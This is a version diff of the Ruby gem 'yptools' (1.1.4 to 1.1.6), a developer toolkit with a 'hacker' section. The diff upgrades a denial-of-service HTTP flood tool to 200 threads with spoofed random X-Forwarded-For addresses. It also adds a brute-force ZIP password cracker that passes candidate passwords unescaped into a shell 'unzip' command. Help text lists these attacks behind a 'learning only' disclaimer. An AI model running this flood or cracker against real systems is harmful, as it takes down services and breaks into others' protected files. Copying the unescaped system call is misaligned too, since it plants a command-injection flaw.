yptools 1.1.4 → 1.1.6
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +4 -4
- data/lib/yptools/autocre/yp_autocre.rb +1 -1
- data/lib/yptools/dosattack/yp_dosattack.rb +9 -2
- data/lib/yptools/help/yp_help.rb +12 -10
- data/lib/yptools/unziptools/yp_unziptools.rb +93 -0
- data/lib/yptools.rb +12 -0
- metadata +3 -2
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA256:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: bce0b24f8105efc32897586bcad82bae9a7431ec57aef6aadf01184b77a5625d
|
4
|
+
data.tar.gz: 20e96b240ce3052ed6eb296098856d2d3c9acf5301d7feb2f4ada19fb53da49f
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: 4432ede4114c7be8e96597ac1a907125a18baca8b3d8c5dc00b9b70f0bf46925421f8aa0e014dbc01043866655114f905af49b9fd07abf53e37c9426b9d0337c
|
7
|
+
data.tar.gz: 84192a97f9bd067dd493f5131d1269bf3293ef7dabc0345aa96c559e7283a4a1fb0943204b897c4f9a80fc5bc12f5a7f5b04ebf54e02f0b058f6dda2a012a0e1
|
@@ -9,7 +9,7 @@ class YPDosAttack
|
|
9
9
|
uri = URI(url) # 修改为你想要请求的网址
|
10
10
|
|
11
11
|
n = 10 # 发送 10 个请求
|
12
|
-
concurrency =
|
12
|
+
concurrency = 200 # 使用 100 个线程
|
13
13
|
if request_count
|
14
14
|
n = request_count.to_i
|
15
15
|
end
|
@@ -26,7 +26,14 @@ class YPDosAttack
|
|
26
26
|
n.times do |i|
|
27
27
|
threads << Thread.new do
|
28
28
|
begin
|
29
|
-
|
29
|
+
req = Net::HTTP::Get.new(uri)
|
30
|
+
req['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3' # 添加 User-Agent 请求头
|
31
|
+
ip_address = Array.new(4) { rand(256) }.join('.')
|
32
|
+
req['X-Forwarded-For'] = ip_address
|
33
|
+
# req['X-Forwarded-For'] = '192.168.0.1' # 将 X-Forwarded-For 请求头设置为你想要使用的 IP 地址
|
34
|
+
response = Net::HTTP.start(uri.hostname, uri.port, use_ssl: uri.scheme == 'https') do |http|
|
35
|
+
http.request(req)
|
36
|
+
end
|
30
37
|
mutex.synchronize do
|
31
38
|
if response.is_a?(Net::HTTPSuccess)
|
32
39
|
success_count += 1
|
data/lib/yptools/help/yp_help.rb
CHANGED
@@ -3,13 +3,7 @@ class YPHelp
|
|
3
3
|
def self.message
|
4
4
|
puts %q{
|
5
5
|
|
6
|
-
|
7
|
-
chatgpt: use [yptools chatgpt] 创建会话列表与 chatgpt 聊天,会记录上下内容(科学上网)
|
8
|
-
[yptools chatgpt ...] 快速与 chatgpt 沟通,不会记录上下内容
|
9
|
-
|
10
|
-
openai: use [yptools openaiimg ...] 根据文本描述生成图像(eg: yptools openaiimg '老虎和狮子大战' )
|
11
|
-
|
12
|
-
🚀🚀🚀 - iOS开发者(IOS Developer)
|
6
|
+
🍎🍎🍎 - iOS开发者(IOS Developer)
|
13
7
|
autocre: use [yptools autocre ...] 自动化工具命令
|
14
8
|
use [yptools autocre -objc ...] 根据 json 自动创建 Objective-C 数据库操作文件 .h|.m 文件。(依赖三方库 FMDB )
|
15
9
|
use [yptools autocre -init] 构建数据库操作文件的json模板
|
@@ -20,12 +14,16 @@ class YPHelp
|
|
20
14
|
|
21
15
|
showipa: use [yptools showipa ...] 用于解析ipa文件
|
22
16
|
|
23
|
-
update: use [yptools update] 更新yptools
|
24
|
-
|
25
17
|
ufct: use [yptools ufct] 更新当前目录下面文件后缀为.h|.m 的文件创建时间
|
26
18
|
|
27
19
|
xpj: use [yptools xpj ...] use xcodeproj api
|
28
20
|
use [yptools xpj check] 检查当前目录项目文件是否存在引用的问题
|
21
|
+
|
22
|
+
🤖🤖🤖 - 智能聊天、绘画(OpenAI)
|
23
|
+
chatgpt: use [yptools chatgpt] 创建会话列表与 chatgpt 聊天,会记录上下内容(科学上网)
|
24
|
+
[yptools chatgpt ...] 快速与 chatgpt 沟通,不会记录上下内容
|
25
|
+
|
26
|
+
openai: use [yptools openaiimg ...] 根据文本描述生成图像(eg: yptools openaiimg '老虎和狮子大战' )
|
29
27
|
|
30
28
|
🤡🤡🤡 - hacker
|
31
29
|
scanlocalips: use [yptools scanlocalips] 扫描本地局域网下所有 IP
|
@@ -34,7 +32,11 @@ class YPHelp
|
|
34
32
|
|
35
33
|
dosattack: use [yptools dosattack <ip> <n>] DOS攻击 「警告:此方法仅用于学习使用」 ip=请求域名 n=攻击次数 (eg: yptools dosattack https://example.com 10000)
|
36
34
|
|
37
|
-
|
35
|
+
unzip: use [yptools unzip <文件>] 分析压缩文件,破解密码。【扩展说明:n='0-10' a='a-z' A='A-Z' s='特殊字符'】(eg:yptools unzip -n -a -A file.zip)
|
36
|
+
|
37
|
+
💩💩💩 - 帮助(help & update)
|
38
|
+
update: use [yptools update] 更新yptools
|
39
|
+
|
38
40
|
help: use [yptools help] 查看帮助
|
39
41
|
|
40
42
|
}
|
@@ -0,0 +1,93 @@
|
|
1
|
+
require_relative '../log/yp_log'
|
2
|
+
|
3
|
+
class YPUnzipTools
|
4
|
+
|
5
|
+
def self.unzip(argvs)
|
6
|
+
|
7
|
+
# 测试方法
|
8
|
+
password_characters = []
|
9
|
+
|
10
|
+
arr_n = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9"]
|
11
|
+
arr_a = ["a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z",]
|
12
|
+
arr_A = ["A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z",]
|
13
|
+
arr_s = ["!", "@", "#", "$", "%", "^", "&", "*", "(", ")", "-", "_", "+", "=", "{", "}", "[", "]", "|", "\\", ":", ";", "<", ">", ",", ".", "?", "/"]
|
14
|
+
|
15
|
+
filename = argvs.last
|
16
|
+
if File.exist?(filename)
|
17
|
+
yp_log_doing "#{filename} 存在,准备开始扫描"
|
18
|
+
else
|
19
|
+
yp_log_fail "#{filename} 不存在"
|
20
|
+
return
|
21
|
+
end
|
22
|
+
|
23
|
+
if argvs.include?("-n")
|
24
|
+
password_characters += arr_n
|
25
|
+
end
|
26
|
+
|
27
|
+
if (argvs.include?("-a"))
|
28
|
+
password_characters += arr_a
|
29
|
+
end
|
30
|
+
|
31
|
+
if argvs.include?("-A")
|
32
|
+
password_characters += arr_A
|
33
|
+
end
|
34
|
+
|
35
|
+
if argvs.include?("-s")
|
36
|
+
password_characters += arr_s
|
37
|
+
end
|
38
|
+
|
39
|
+
if (password_characters.length == 0)
|
40
|
+
password_characters = arr_n + arr_a + arr_A + arr_s
|
41
|
+
end
|
42
|
+
|
43
|
+
yp_log_msg "扫描由下面数组组成的密码"
|
44
|
+
yp_log_success "#{password_characters}"
|
45
|
+
|
46
|
+
characters = password_characters
|
47
|
+
|
48
|
+
length = 10000
|
49
|
+
allCount = 0
|
50
|
+
for num in 1..length do
|
51
|
+
allCount += self.generate_passwords(filename, num, characters)
|
52
|
+
end
|
53
|
+
yp_log_fail "暂未发现密码,共尝试了#{allCount}个密码!"
|
54
|
+
|
55
|
+
end
|
56
|
+
|
57
|
+
def self.generate_passwords(filename, length, characters, prefix = "", count = 0)
|
58
|
+
sleep(0.01)
|
59
|
+
# 如果密码长度为0,直接返回前缀并增加计数器
|
60
|
+
if length == 0
|
61
|
+
result = self.unzip_file(filename, prefix)
|
62
|
+
if result == 1
|
63
|
+
yp_log_success "解压成功,密码是#{prefix}"
|
64
|
+
exit
|
65
|
+
return count
|
66
|
+
else
|
67
|
+
yp_log_msg "#{prefix}:密码错误,解压失败"
|
68
|
+
end
|
69
|
+
count += 1
|
70
|
+
else
|
71
|
+
# 对于每个字符,将其加入到前缀中并递归生成更短的密码
|
72
|
+
characters.each do |c|
|
73
|
+
new_prefix = prefix + c
|
74
|
+
count = self.generate_passwords(filename, length - 1, characters, new_prefix, count)
|
75
|
+
end
|
76
|
+
end
|
77
|
+
return count
|
78
|
+
end
|
79
|
+
|
80
|
+
def self.unzip_file(filePath, password)
|
81
|
+
zip_file = filePath
|
82
|
+
# 执行解压命令
|
83
|
+
puts "unzip -P #{password} -o -q #{zip_file}"
|
84
|
+
system("unzip -P #{password} -o -q #{zip_file}")
|
85
|
+
# 判断解压是否成功
|
86
|
+
if $?.exitstatus == 0
|
87
|
+
return 1
|
88
|
+
else
|
89
|
+
return 0
|
90
|
+
end
|
91
|
+
end
|
92
|
+
|
93
|
+
end
|
data/lib/yptools.rb
CHANGED
@@ -14,6 +14,7 @@ require_relative 'yptools/chatai/yp_chatai'
|
|
14
14
|
require_relative 'yptools/portscan/yp_portscan'
|
15
15
|
require_relative 'yptools/scanlocalips/yp_scanlocalips'
|
16
16
|
require_relative 'yptools/dosattack/yp_dosattack'
|
17
|
+
require_relative 'yptools/unziptools/yp_unziptools'
|
17
18
|
|
18
19
|
class YPTools
|
19
20
|
|
@@ -116,6 +117,13 @@ class YPTools
|
|
116
117
|
self.scanlocalips
|
117
118
|
when 'dosattack'
|
118
119
|
self.dosattack argvs
|
120
|
+
when 'unzip'
|
121
|
+
if argvs.size > 1
|
122
|
+
self.unzip argvs
|
123
|
+
else
|
124
|
+
yp_log_fail "'yptools unzip ..' 参数缺失"
|
125
|
+
self.help
|
126
|
+
end
|
119
127
|
else
|
120
128
|
self.help
|
121
129
|
end
|
@@ -186,6 +194,10 @@ class YPTools
|
|
186
194
|
YPDosAttack.dosattack(argvs)
|
187
195
|
end
|
188
196
|
|
197
|
+
def self.unzip(argvs)
|
198
|
+
YPUnzipTools.unzip(argvs)
|
199
|
+
end
|
200
|
+
|
189
201
|
end
|
190
202
|
|
191
203
|
|
metadata
CHANGED
@@ -1,14 +1,14 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: yptools
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 1.1.
|
4
|
+
version: 1.1.6
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
7
|
- chenghengsheng
|
8
8
|
autorequire:
|
9
9
|
bindir: bin
|
10
10
|
cert_chain: []
|
11
|
-
date: 2023-
|
11
|
+
date: 2023-05-08 00:00:00.000000000 Z
|
12
12
|
dependencies:
|
13
13
|
- !ruby/object:Gem::Dependency
|
14
14
|
name: bundler
|
@@ -144,6 +144,7 @@ files:
|
|
144
144
|
- lib/yptools/package/yp_package.rb
|
145
145
|
- lib/yptools/portscan/yp_portscan.rb
|
146
146
|
- lib/yptools/scanlocalips/yp_scanlocalips.rb
|
147
|
+
- lib/yptools/unziptools/yp_unziptools.rb
|
147
148
|
- lib/yptools/update/yp_update.rb
|
148
149
|
- lib/yptools/xcodeproj/yp_xcodeproj.rb
|
149
150
|
homepage: https://github.com/HansenCCC/YPTools.git
|